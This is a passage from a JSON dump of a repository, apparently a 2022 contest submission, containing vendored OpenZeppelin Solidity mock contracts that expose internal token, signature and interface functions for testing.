    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/ECDSA.sol\";\n\ncontract ECDSAMock {\n    using ECDSA for bytes32;\n    using ECDSA for bytes;\n\n    function recover(bytes32 hash, bytes memory signature) public pure returns (address) {\n        return hash.recover(signature);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function recover_v_r_s(\n        bytes32 hash,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public pure returns (address) {\n        return hash.recover(v, r, s);\n    }\n\n    // solhint-disable-next-line func-name-mixedcase\n    function recover_r_vs(\n        bytes32 hash,\n        bytes32 r,\n        bytes32 vs\n    ) public pure returns (address) {\n        return hash.recover(r, vs);\n    }\n\n    function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) {\n        return hash.toEthSignedMessageHash();\n    }\n\n    function toEthSignedMessageHash(bytes memory s) public pure returns (bytes32) {\n        return s.toEthSignedMessageHash();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/EIP712External.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/draft-EIP712.sol\";\nimport \"../utils/cryptography/ECDSA.sol\";\n\ncontract EIP712External is EIP712 {\n    constructor(string memory name, string memory version) EIP712(name, version) {}\n\n    function domainSeparator() external view returns (bytes32) {\n        return _domainSeparatorV4();\n    }\n\n    function verify(\n        bytes memory signature,\n        address signer,\n        address mailTo,\n        string memory mailContents\n    ) external view {\n        bytes32 digest = _hashTypedDataV4(\n            keccak256(abi.encode(keccak256(\"Mail(address to,string contents)\"), mailTo, keccak256(bytes(mailContents))))\n        );\n        address recoveredSigner = ECDSA.recover(digest, signature);\n        require(recoveredSigner == signer);\n    }\n\n    function getChainId() external view returns (uint256) {\n        return block.chainid;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155BurnableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/extensions/ERC1155Burnable.sol\";\n\ncontract ERC1155BurnableMock is ERC1155Burnable {\n    constructor(string memory uri) ERC1155(uri) {}\n\n    function mint(\n        address to,\n        uint256 id,\n        uint256 value,\n        bytes memory data\n    ) public {\n        _mint(to, id, value, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155Mock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/ERC1155.sol\";\n\n/**\n * @title ERC1155Mock\n * This mock just publicizes internal functions for testing purposes\n */\ncontract ERC1155Mock is ERC1155 {\n    constructor(string memory uri) ERC1155(uri) {}\n\n    function setURI(string memory newuri) public {\n        _setURI(newuri);\n    }\n\n    function mint(\n        address to,\n        uint256 id,\n        uint256 value,\n        bytes memory data\n    ) public {\n        _mint(to, id, value, data);\n    }\n\n    function mintBatch(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory values,\n        bytes memory data\n    ) public {\n        _mintBatch(to, ids, values, data);\n    }\n\n    function burn(\n        address owner,\n        uint256 id,\n        uint256 value\n    ) public {\n        _burn(owner, id, value);\n    }\n\n    function burnBatch(\n        address owner,\n        uint256[] memory ids,\n        uint256[] memory values\n    ) public {\n        _burnBatch(owner, ids, values);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155PausableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1155Mock.sol\";\nimport \"../token/ERC1155/extensions/ERC1155Pausable.sol\";\n\ncontract ERC1155PausableMock is ERC1155Mock, ERC1155Pausable {\n    constructor(string memory uri) ERC1155Mock(uri) {}\n\n    function pause() external {\n        _pause();\n    }\n\n    function unpause() external {\n        _unpause();\n    }\n\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override(ERC1155, ERC1155Pausable) {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155ReceiverMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC1155/IERC1155Receiver.sol\";\nimport \"../utils/introspection/ERC165.sol\";\n\ncontract ERC1155ReceiverMock is ERC165, IERC1155Receiver {\n    bytes4 private _recRetval;\n    bool private _recReverts;\n    bytes4 private _batRetval;\n    bool private _batReverts;\n\n    event Received(address operator, address from, uint256 id, uint256 value, bytes data, uint256 gas);\n    event BatchReceived(address operator, address from, uint256[] ids, uint256[] values, bytes data, uint256 gas);\n\n    constructor(\n        bytes4 recRetval,\n        bool recReverts,\n        bytes4 batRetval,\n        bool batReverts\n    ) {\n        _recRetval = recRetval;\n        _recReverts = recReverts;\n        _batRetval = batRetval;\n        _batReverts = batReverts;\n    }\n\n    function onERC1155Received(\n        address operator,\n        address from,\n        uint256 id,\n        uint256 value,\n        bytes calldata data\n    ) external override returns (bytes4) {\n        require(!_recReverts, \"ERC1155ReceiverMock: reverting on receive\");\n        emit Received(operator, from, id, value, data, gasleft());\n        return _recRetval;\n    }\n\n    function onERC1155BatchReceived(\n        address operator,\n        address from,\n        uint256[] calldata ids,\n        uint256[] calldata values,\n        bytes calldata data\n    ) external override returns (bytes4) {\n        require(!_batReverts, \"ERC1155ReceiverMock: reverting on batch receive\");\n        emit BatchReceived(operator, from, ids, values, data, gasleft());\n        return _batRetval;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1155SupplyMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1155Mock.sol\";\nimport \"../token/ERC1155/extensions/ERC1155Supply.sol\";\n\ncontract ERC1155SupplyMock is ERC1155Mock, ERC1155Supply {\n    constructor(string memory uri) ERC1155Mock(uri) {}\n\n    function _beforeTokenTransfer(\n        address operator,\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal virtual override(ERC1155, ERC1155Supply) {\n        super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1271WalletMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../access/Ownable.sol\";\nimport \"../interfaces/IERC1271.sol\";\nimport \"../utils/cryptography/ECDSA.sol\";\n\ncontract ERC1271WalletMock is Ownable, IERC1271 {\n    constructor(address originalOwner) {\n        transferOwnership(originalOwner);\n    }\n\n    function isValidSignature(bytes32 hash, bytes memory signature) public view override returns (bytes4 magicValue) {\n        return ECDSA.recover(hash, signature) == owner() ? this.isValidSignature.selector : bytes4(0);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165InterfacesSupported.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * https://eips.ethereum.org/EIPS/eip-214#specification\n * From the specification:\n * > Any attempts to make state-changing operations inside an execution instance with STATIC set to true will instead\n * throw an exception.\n * > These operations include [...], LOG0, LOG1, LOG2, [...]\n *\n * therefore, because this contract is staticcall'd we need to not emit events (which is how solidity-coverage works)\n * solidity-coverage ignores the /mocks folder, so we duplicate its implementation here to avoid instrumenting it\n */\ncontract SupportsInterfaceWithLookupMock is IERC165 {\n    /*\n     * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7\n     */\n    bytes4 public constant INTERFACE_ID_ERC165 = 0x01ffc9a7;\n\n    /**\n     * @dev A mapping of interface id to whether or not it's supported.\n     */\n    mapping(bytes4 => bool) private _supportedInterfaces;\n\n    /**\n     * @dev A contract implementing SupportsInterfaceWithLookup\n     * implement ERC165 itself.\n     */\n    constructor() {\n        _registerInterface(INTERFACE_ID_ERC165);\n    }\n\n    /**\n     * @dev Implement supportsInterface(bytes4) using a lookup table.\n     */\n    function supportsInterface(bytes4 interfaceId) public view override returns (bool) {\n        return _supportedInterfaces[interfaceId];\n    }\n\n    /**\n     * @dev Private method for registering an interface.\n     */\n    function _registerInterface(bytes4 interfaceId) internal {\n        require(interfaceId != 0xffffffff, \"ERC165InterfacesSupported: invalid interface id\");\n        _supportedInterfaces[interfaceId] = true;\n    }\n}\n\ncontract ERC165InterfacesSupported is SupportsInterfaceWithLookupMock {\n    constructor(bytes4[] memory interfaceIds) {\n        for (uint256 i = 0; i < interfaceIds.length; i++) {\n            _registerInterface(interfaceIds[i]);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165MissingData.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract ERC165MissingData {\n    function supportsInterface(bytes4 interfaceId) public view {} // missing return\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165NotSupported.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract ERC165NotSupported {}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165CheckerMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC165Checker.sol\";\n\ncontract ERC165CheckerMock {\n    using ERC165Checker for address;\n\n    function supportsERC165(address account) public view returns (bool) {\n        return account.supportsERC165();\n    }\n\n    function supportsInterface(address account, bytes4 interfaceId) public view returns (bool) {\n        return account.supportsInterface(interfaceId);\n    }\n\n    function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool) {\n        return account.supportsAllInterfaces(interfaceIds);\n    }\n\n    function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) public view returns (bool[] memory) {\n        return account.getSupportedInterfaces(interfaceIds);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165Mock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC165.sol\";\n\ncontract ERC165Mock is ERC165 {}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC165StorageMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC165Storage.sol\";\n\ncontract ERC165StorageMock is ERC165Storage {\n    function registerInterface(bytes4 interfaceId) public {\n        _registerInterface(interfaceId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC1820ImplementerMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/ERC1820Implementer.sol\";\n\ncontract ERC1820ImplementerMock is ERC1820Implementer {\n    function registerInterfaceForAddress(bytes32 interfaceHash, address account) public {\n        _registerInterfaceForAddress(interfaceHash, account);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20BurnableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20Burnable.sol\";\n\ncontract ERC20BurnableMock is ERC20Burnable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) ERC20(name, symbol) {\n        _mint(initialAccount, initialBalance);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20CappedMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20Capped.sol\";\n\ncontract ERC20CappedMock is ERC20Capped {\n    constructor(\n        string memory name,\n        string memory symbol,\n        uint256 cap\n    ) ERC20(name, symbol) ERC20Capped(cap) {}\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20DecimalsMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/ERC20.sol\";\n\ncontract ERC20DecimalsMock is ERC20 {\n    uint8 private immutable _decimals;\n\n    constructor(\n        string memory name_,\n        string memory symbol_,\n        uint8 decimals_\n    ) ERC20(name_, symbol_) {\n        _decimals = decimals_;\n    }\n\n    function decimals() public view virtual override returns (uint8) {\n        return _decimals;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20FlashMintMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20FlashMint.sol\";\n\ncontract ERC20FlashMintMock is ERC20FlashMint {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) ERC20(name, symbol) {\n        _mint(initialAccount, initialBalance);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/ERC20.sol\";\n\n// mock class using ERC20\ncontract ERC20Mock is ERC20 {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) payable ERC20(name, symbol) {\n        _mint(initialAccount, initialBalance);\n    }\n\n    function mint(address account, uint256 amount) public {\n        _mint(account, amount);\n    }\n\n    function burn(address account, uint256 amount) public {\n        _burn(account, amount);\n    }\n\n    function transferInternal(\n        address from,\n        address to,\n        uint256 value\n    ) public {\n        _transfer(from, to, value);\n    }\n\n    function approveInternal(\n        address owner,\n        address spender,\n        uint256 value\n    ) public {\n        _approve(owner, spender, value);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20PausableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20Pausable.sol\";\n\n// mock class using ERC20Pausable\ncontract ERC20PausableMock is ERC20Pausable {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) ERC20(name, symbol) {\n        _mint(initialAccount, initialBalance);\n    }\n\n    function pause() external {\n        _pause();\n    }\n\n    function unpause() external {\n        _unpause();\n    }\n\n    function mint(address to, uint256 amount) public {\n        _mint(to, amount);\n    }\n\n    function burn(address from, uint256 amount) public {\n        _burn(from, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20PermitMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/draft-ERC20Permit.sol\";\n\ncontract ERC20PermitMock is ERC20Permit {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) payable ERC20(name, symbol) ERC20Permit(name) {\n        _mint(initialAccount, initialBalance);\n    }\n\n    function getChainId() external view returns (uint256) {\n        return block.chainid;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20SnapshotMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20Snapshot.sol\";\n\ncontract ERC20SnapshotMock is ERC20Snapshot {\n    constructor(\n        string memory name,\n        string memory symbol,\n        address initialAccount,\n        uint256 initialBalance\n    ) ERC20(name, symbol) {\n        _mint(initialAccount, initialBalance);\n    }\n\n    function snapshot() public {\n        _snapshot();\n    }\n\n    function mint(address account, uint256 amount) public {\n        _mint(account, amount);\n    }\n\n    function burn(address account, uint256 amount) public {\n        _burn(account, amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20VotesCompMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20VotesComp.sol\";\n\ncontract ERC20VotesCompMock is ERC20VotesComp {\n    constructor(string memory name, string memory symbol) ERC20(name, symbol) ERC20Permit(name) {}\n\n    function mint(address account, uint256 amount) public {\n        _mint(account, amount);\n    }\n\n    function burn(address account, uint256 amount) public {\n        _burn(account, amount);\n    }\n\n    function getChainId() external view returns (uint256) {\n        return block.chainid;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20VotesMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20Votes.sol\";\n\ncontract ERC20VotesMock is ERC20Votes {\n    constructor(string memory name, string memory symbol) ERC20(name, symbol) ERC20Permit(name) {}\n\n    function mint(address account, uint256 amount) public {\n        _mint(account, amount);\n    }\n\n    function burn(address account, uint256 amount) public {\n        _burn(account, amount);\n    }\n\n    function getChainId() external view returns (uint256) {\n        return block.chainid;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC20WrapperMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/extensions/ERC20Wrapper.sol\";\n\ncontract ERC20WrapperMock is ERC20Wrapper {\n    constructor(\n        IERC20 _underlyingToken,\n        string memory name,\n        string memory symbol\n    ) ERC20(name, symbol) ERC20Wrapper(_underlyingToken) {}\n\n    function recover(address account) public returns (uint256) {\n        return _recover(account);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC2771ContextMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ContextMock.sol\";\nimport \"../metatx/ERC2771Context.sol\";\n\n// By inheriting from ERC2771Context, Context's internal functions are overridden automatically\ncontract ERC2771ContextMock is ContextMock, ERC2771Context {\n    constructor(address trustedForwarder) ERC2771Context(trustedForwarder) {}\n\n    function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n        return ERC2771Context._msgSender();\n    }\n\n    function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n        return ERC2771Context._msgData();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC3156FlashBorrowerMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC20/IERC20.sol\";\nimport \"../interfaces/IERC3156.sol\";\nimport \"../utils/Address.sol\";\n\n/**\n * @dev WARNING: this IERC3156FlashBorrower mock implementation is for testing purposes ONLY.\n * Writing a secure flash lock borrower is not an easy task, and should be done with the utmost care.\n * This is not an example of how it should be done, and no pattern present in this mock should be considered secure.\n * Following best practices, always have your contract properly audited before using them to manipulate important funds on\n * live networks.\n */\ncontract ERC3156FlashBorrowerMock is IERC3156FlashBorrower {\n    bytes32 internal constant _RETURN_VALUE = keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n\n    bool immutable _enableApprove;\n    bool immutable _enableReturn;\n\n    event BalanceOf(address token, address account, uint256 value);\n    event TotalSupply(address token, uint256 value);\n\n    constructor(bool enableReturn, bool enableApprove) {\n        _enableApprove = enableApprove;\n        _enableReturn = enableReturn;\n    }\n\n    function onFlashLoan(\n        address, /*initiator*/\n        address token,\n        uint256 amount,\n        uint256 fee,\n        bytes calldata data\n    ) public override returns (bytes32) {\n        require(msg.sender == token);\n\n        emit BalanceOf(token, address(this), IERC20(token).balanceOf(address(this)));\n        emit TotalSupply(token, IERC20(token).totalSupply());\n\n        if (data.length > 0) {\n            // WARNING: This code is for testing purposes only! Do not use.\n            Address.functionCall(token, data);\n        }\n\n        if (_enableApprove) {\n            IERC20(token).approve(token, amount + fee);\n        }\n\n        return _enableReturn ? _RETURN_VALUE : bytes32(0);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721BurnableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/ERC721Burnable.sol\";\n\ncontract ERC721BurnableMock is ERC721Burnable {\n    constructor(string memory name, string memory symbol) ERC721(name, symbol) {}\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721EnumerableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/ERC721Enumerable.sol\";\n\n/**\n * @title ERC721Mock\n * This mock just provides a public safeMint, mint, and burn functions for testing purposes\n */\ncontract ERC721EnumerableMock is ERC721Enumerable {\n    string private _baseTokenURI;\n\n    constructor(string memory name, string memory symbol) ERC721(name, symbol) {}\n\n    function _baseURI() internal view virtual override returns (string memory) {\n        return _baseTokenURI;\n    }\n\n    function setBaseURI(string calldata newBaseTokenURI) public {\n        _baseTokenURI = newBaseTokenURI;\n    }\n\n    function baseURI() public view returns (string memory) {\n        return _baseURI();\n    }\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n\n    function burn(uint256 tokenId) public {\n        _burn(tokenId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721Mock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/ERC721.sol\";\n\n/**\n * @title ERC721Mock\n * This mock just provides a public safeMint, mint, and burn functions for testing purposes\n */\ncontract ERC721Mock is ERC721 {\n    constructor(string memory name, string memory symbol) ERC721(name, symbol) {}\n\n    function baseURI() public view returns (string memory) {\n        return _baseURI();\n    }\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n\n    function burn(uint256 tokenId) public {\n        _burn(tokenId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721PausableMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/ERC721Pausable.sol\";\n\n/**\n * @title ERC721PausableMock\n * This mock just provides a public mint, burn and exists functions for testing purposes\n */\ncontract ERC721PausableMock is ERC721Pausable {\n    constructor(string memory name, string memory symbol) ERC721(name, symbol) {}\n\n    function pause() external {\n        _pause();\n    }\n\n    function unpause() external {\n        _unpause();\n    }\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n\n    function burn(uint256 tokenId) public {\n        _burn(tokenId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721ReceiverMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/IERC721Receiver.sol\";\n\ncontract ERC721ReceiverMock is IERC721Receiver {\n    enum Error {\n        None,\n        RevertWithMessage,\n        RevertWithoutMessage,\n        Panic\n    }\n\n    bytes4 private immutable _retval;\n    Error private immutable _error;\n\n    event Received(address operator, address from, uint256 tokenId, bytes data, uint256 gas);\n\n    constructor(bytes4 retval, Error error) {\n        _retval = retval;\n        _error = error;\n    }\n\n    function onERC721Received(\n        address operator,\n        address from,\n        uint256 tokenId,\n        bytes memory data\n    ) public override returns (bytes4) {\n        if (_error == Error.RevertWithMessage) {\n            revert(\"ERC721ReceiverMock: reverting\");\n        } else if (_error == Error.RevertWithoutMessage) {\n            revert();\n        } else if (_error == Error.Panic) {\n            uint256 a = uint256(0) / uint256(0);\n            a;\n        }\n        emit Received(operator, from, tokenId, data, gasleft());\n        return _retval;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC721URIStorageMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../token/ERC721/extensions/ERC721URIStorage.sol\";\n\n/**\n * @title ERC721Mock\n * This mock just provides a public safeMint, mint, and burn functions for testing purposes\n */\ncontract ERC721URIStorageMock is ERC721URIStorage {\n    string private _baseTokenURI;\n\n    constructor(string memory name, string memory symbol) ERC721(name, symbol) {}\n\n    function _baseURI() internal view virtual override returns (string memory) {\n        return _baseTokenURI;\n    }\n\n    function setBaseURI(string calldata newBaseTokenURI) public {\n        _baseTokenURI = newBaseTokenURI;\n    }\n\n    function baseURI() public view returns (string memory) {\n        return _baseURI();\n    }\n\n    function setTokenURI(uint256 tokenId, string memory _tokenURI) public {\n        _setTokenURI(tokenId, _tokenURI);\n    }\n\n    function exists(uint256 tokenId) public view returns (bool) {\n        return _exists(tokenId);\n    }\n\n    function mint(address to, uint256 tokenId) public {\n        _mint(to, tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public {\n        _safeMint(to, tokenId, _data);\n    }\n\n    function burn(uint256 tokenId) public {\n        _burn(tokenId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC777Mock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\nimport \"../token/ERC777/ERC777.sol\";\n\ncontract ERC777Mock is Context, ERC777 {\n    event BeforeTokenTransfer();\n\n    constructor(\n        address initialHolder,\n        uint256 initialBalance,\n        string memory name,\n        string memory symbol,\n        address[] memory defaultOperators\n    ) ERC777(name, symbol, defaultOperators) {\n        _mint(initialHolder, initialBalance, \"\", \"\");\n    }\n\n    function mintInternal(\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData\n    ) public {\n        _mint(to, amount, userData, operatorData);\n    }\n\n    function mintInternalExtended(\n        address to,\n        uint256 amount,\n        bytes memory userData,\n        bytes memory operatorData,\n        bool requireReceptionAck\n    ) public {\n        _mint(to, amount, userData, operatorData, requireReceptionAck);\n    }\n\n    function approveInternal(\n        address holder,\n        address spender,\n        uint256 value\n    ) public {\n        _approve(holder, spender, value);\n    }\n\n    function _beforeTokenTransfer(\n        address,\n        address,\n        address,\n        uint256\n    ) internal override {\n        emit BeforeTokenTransfer();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/ERC777SenderRecipientMock.sol",
